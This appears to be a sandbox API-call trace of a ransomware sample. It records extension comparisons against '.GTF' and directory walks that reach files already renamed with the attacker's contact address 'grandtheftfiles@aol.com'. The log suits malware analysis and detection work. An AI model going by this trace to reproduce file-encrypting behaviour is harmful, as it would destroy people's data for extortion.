	[0152.833] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0152.833] lstrlenW (lpString=".dpx") returned 4
	[0152.833] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".dqy") returned 4
	[0152.834] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".dsn") returned 4
	[0152.834] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".dt") returned 3
	[0152.834] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0152.834] lstrlenW (lpString=".dtd") returned 4
	[0152.834] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".dwg") returned 4
	[0152.834] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".dwt") returned 4
	[0152.834] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".dx") returned 3
	[0152.834] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0152.834] lstrlenW (lpString=".dxf") returned 4
	[0152.834] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".edml") returned 5
	[0152.834] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0152.834] lstrlenW (lpString=".efd") returned 4
	[0152.834] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".elf") returned 4
	[0152.834] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".emf") returned 4
	[0152.834] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".emz") returned 4
	[0152.834] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".epf") returned 4
	[0152.834] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".eps") returned 4
	[0152.834] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".epsf") returned 5
	[0152.834] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0152.834] lstrlenW (lpString=".epsp") returned 5
	[0152.834] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0152.834] lstrlenW (lpString=".erf") returned 4
	[0152.834] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0152.834] lstrlenW (lpString=".exr") returned 4
	[0152.834] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".f4v") returned 4
	[0152.835] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".fido") returned 5
	[0152.835] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0152.835] lstrlenW (lpString=".flm") returned 4
	[0152.835] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".flv") returned 4
	[0152.835] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".frm") returned 4
	[0152.835] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".fxg") returned 4
	[0152.835] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".geo") returned 4
	[0152.835] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".gif") returned 4
	[0152.835] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".grs") returned 4
	[0152.835] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0152.835] lstrlenW (lpString=".gz") returned 3
	[0152.835] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0152.835] lstrlenW (lpString=".h") returned 2
	[0152.835] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0152.835] lstrlenW (lpString=".hdr") returned 4
	[0152.835] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0152.835] lstrlenW (lpString=".hpp") returned 4
	[0152.835] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0152.835] lstrlenW (lpString=".hta") returned 4
	[0152.835] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0152.835] lstrlenW (lpString=".htc") returned 4
	[0152.835] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0152.835] lstrlenW (lpString=".htm") returned 4
	[0152.835] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0152.835] lstrlenW (lpString=".html") returned 5
	[0152.835] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0152.835] lstrlenW (lpString=".icb") returned 4
	[0152.835] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0152.835] lstrlenW (lpString=".ics") returned 4
	[0152.835] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0152.835] lstrlenW (lpString=".iff") returned 4
	[0152.836] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".inc") returned 4
	[0152.836] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".indd") returned 5
	[0152.836] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0152.836] lstrlenW (lpString=".ini") returned 4
	[0152.836] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".iqy") returned 4
	[0152.836] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".j2c") returned 4
	[0152.836] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".j2k") returned 4
	[0152.836] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".java") returned 5
	[0152.836] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0152.836] lstrlenW (lpString=".jp2") returned 4
	[0152.836] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".jpc") returned 4
	[0152.836] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".jpe") returned 4
	[0152.836] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".jpeg") returned 5
	[0152.836] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0152.836] lstrlenW (lpString=".jpf") returned 4
	[0152.836] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".jpg") returned 4
	[0152.836] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".jpx") returned 4
	[0152.836] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".js") returned 3
	[0152.836] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0152.836] lstrlenW (lpString=".jsf") returned 4
	[0152.836] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".json") returned 5
	[0152.836] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0152.836] lstrlenW (lpString=".jsp") returned 4
	[0152.836] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0152.836] lstrlenW (lpString=".kdc") returned 4
	[0152.836] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".kmz") returned 4
	[0152.837] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".kwm") returned 4
	[0152.837] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".lasso") returned 6
	[0152.837] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0152.837] lstrlenW (lpString=".lbi") returned 4
	[0152.837] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".lgf") returned 4
	[0152.837] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".lgp") returned 4
	[0152.837] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".log") returned 4
	[0152.837] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".m1v") returned 4
	[0152.837] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".m4a") returned 4
	[0152.837] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".m4v") returned 4
	[0152.837] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".max") returned 4
	[0152.837] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".md") returned 3
	[0152.837] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0152.837] lstrlenW (lpString=".mda") returned 4
	[0152.837] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".mdb") returned 4
	[0152.837] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".mde") returned 4
	[0152.837] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".mdf") returned 4
	[0152.837] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".mdw") returned 4
	[0152.837] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".mef") returned 4
	[0152.837] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".mft") returned 4
	[0152.837] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0152.837] lstrlenW (lpString=".mfw") returned 4
	[0152.838] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mht") returned 4
	[0152.838] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mhtml") returned 6
	[0152.838] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0152.838] lstrlenW (lpString=".mka") returned 4
	[0152.838] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mkidx") returned 6
	[0152.838] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0152.838] lstrlenW (lpString=".mkv") returned 4
	[0152.838] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mos") returned 4
	[0152.838] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mov") returned 4
	[0152.838] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mp3") returned 4
	[0152.838] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mp4") returned 4
	[0152.838] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mpeg") returned 5
	[0152.838] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0152.838] lstrlenW (lpString=".mpg") returned 4
	[0152.838] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mpv") returned 4
	[0152.838] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mrw") returned 4
	[0152.838] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".msg") returned 4
	[0152.838] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".mxl") returned 4
	[0152.838] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".myd") returned 4
	[0152.838] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".myi") returned 4
	[0152.838] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".nef") returned 4
	[0152.838] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0152.838] lstrlenW (lpString=".nrw") returned 4
	[0152.839] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".obj") returned 4
	[0152.839] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".odb") returned 4
	[0152.839] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".odc") returned 4
	[0152.839] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".odm") returned 4
	[0152.839] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".odp") returned 4
	[0152.839] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".ods") returned 4
	[0152.839] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".oft") returned 4
	[0152.839] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".one") returned 4
	[0152.839] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".onepkg") returned 7
	[0152.839] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0152.839] lstrlenW (lpString=".onetoc2") returned 8
	[0152.839] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0152.839] lstrlenW (lpString=".opt") returned 4
	[0152.839] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".oqy") returned 4
	[0152.839] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".orf") returned 4
	[0152.839] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".p12") returned 4
	[0152.839] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".p7b") returned 4
	[0152.839] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".p7c") returned 4
	[0152.839] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".pam") returned 4
	[0152.839] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".pbm") returned 4
	[0152.839] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0152.839] lstrlenW (lpString=".pct") returned 4
	[0152.840] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pcx") returned 4
	[0152.840] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pdd") returned 4
	[0152.840] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pdf") returned 4
	[0152.840] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pdp") returned 4
	[0152.840] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pef") returned 4
	[0152.840] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pem") returned 4
	[0152.840] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pff") returned 4
	[0152.840] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pfm") returned 4
	[0152.840] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pfx") returned 4
	[0152.840] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pgm") returned 4
	[0152.840] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".php") returned 4
	[0152.840] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".php3") returned 5
	[0152.840] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0152.840] lstrlenW (lpString=".php4") returned 5
	[0152.840] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0152.840] lstrlenW (lpString=".php5") returned 5
	[0152.840] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0152.840] lstrlenW (lpString=".phtml") returned 6
	[0152.840] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0152.840] lstrlenW (lpString=".pict") returned 5
	[0152.840] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0152.840] lstrlenW (lpString=".pl") returned 3
	[0152.840] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0152.840] lstrlenW (lpString=".pls") returned 4
	[0152.840] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0152.840] lstrlenW (lpString=".pm") returned 3
	[0152.840] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0152.841] lstrlenW (lpString=".png") returned 4
	[0152.841] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".pnm") returned 4
	[0152.841] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".pot") returned 4
	[0152.841] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".potm") returned 5
	[0152.841] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0152.841] lstrlenW (lpString=".potx") returned 5
	[0152.841] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0152.841] lstrlenW (lpString=".ppa") returned 4
	[0152.841] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".ppam") returned 5
	[0152.841] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0152.841] lstrlenW (lpString=".ppm") returned 4
	[0152.841] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".pps") returned 4
	[0152.841] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".ppsm") returned 5
	[0152.841] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0152.841] lstrlenW (lpString=".ppt") returned 4
	[0152.841] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".pptm") returned 5
	[0152.841] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0152.841] lstrlenW (lpString=".pptx") returned 5
	[0152.841] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0152.841] lstrlenW (lpString=".prn") returned 4
	[0152.841] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".ps") returned 3
	[0152.841] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0152.841] lstrlenW (lpString=".psb") returned 4
	[0152.841] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".psd") returned 4
	[0152.841] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".pst") returned 4
	[0152.841] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".ptx") returned 4
	[0152.841] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0152.841] lstrlenW (lpString=".pub") returned 4
	[0152.842] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0152.842] lstrlenW (lpString=".pwm") returned 4
	[0152.842] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0152.842] lstrlenW (lpString=".pxr") returned 4
	[0152.842] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0152.842] lstrlenW (lpString=".py") returned 3
	[0152.842] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0152.842] lstrlenW (lpString=".qt") returned 3
	[0152.842] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
	[0152.842] lstrlenW (lpString=".r3d") returned 4
	[0152.842] lstrcmpiW (lpString1=".r3d", lpString2=".GTF") returned 1
	[0152.842] lstrlenW (lpString=".raf") returned 4
	[0152.842] lstrcmpiW (lpString1=".raf", lpString2=".GTF") returned 1
	[0152.842] lstrlenW (lpString=".rar") returned 4
	[0152.842] lstrcmpiW (lpString1=".rar", lpString2=".GTF") returned 1
	[0152.842] lstrlenW (lpString=".raw") returned 4
	[0152.842] lstrcmpiW (lpString1=".raw", lpString2=".GTF") returned 1
	[0152.842] FindNextFileW (in: hFindFile=0x5ba2f0, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9b76cbf0, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9b76cbf0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9b76cbf0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0xffffd988, dwReserved1=0x17a, cFileName="desktop.ini.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="DESKTO~1.GTF")) returned 0
	[0152.842] FindClose (in: hFindFile=0x5ba2f0 | out: hFindFile=0x5ba2f0) returned 1
	[0152.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4120058 | out: hHeap=0x5a0000) returned 1
	[0152.842] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xca52597d, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xca52597d, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0152.842] FindClose (in: hFindFile=0x5ba770 | out: hFindFile=0x5ba770) returned 1
	[0152.842] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4110050 | out: hHeap=0x5a0000) returned 1
	[0152.843] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0152.843] FindNextFileW (in: hFindFile=0x5ba730, lpFindFileData=0x374fcf8 | out: lpFindFileData=0x374fcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa42782c0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77be0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0152.843] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4110050
	[0152.844] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa42782c0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName=".", cAlternateFileName="")) returned 0x5ba5b0
	[0152.869] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xa42782c0, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0xa42782c0, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="..", cAlternateFileName="")) returned 1
	[0152.870] FindNextFileW (in: hFindFile=0x5ba5b0, lpFindFileData=0x374fa7c | out: lpFindFileData=0x374fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x379, dwReserved1=0xffffbb88, cFileName="1025", cAlternateFileName="")) returned 1
	[0152.870] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4120058
	[0152.871] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName=".", cAlternateFileName="")) returned 0x5ba770
	[0152.873] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0x9c784930, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c784930, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="..", cAlternateFileName="")) returned 1
	[0152.873] FindNextFileW (in: hFindFile=0x5ba770, lpFindFileData=0x374f800 | out: lpFindFileData=0x374f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x9c75ea12, ftCreationTime.dwHighDateTime=0x1d5f410, ftLastAccessTime.dwLowDateTime=0x9c75ea12, ftLastAccessTime.dwHighDateTime=0x1d5f410, ftLastWriteTime.dwLowDateTime=0x9c75ea12, ftLastWriteTime.dwHighDateTime=0x1d5f410, nFileSizeHigh=0x0, nFileSizeLow=0x1e74, dwReserved0=0xfffff319, dwReserved1=0x1b0b, cFileName="eula.rtf.id-B4197730.[grandtheftfiles@aol.com].GTF", cAlternateFileName="EULART~1.GTF")) returned 1
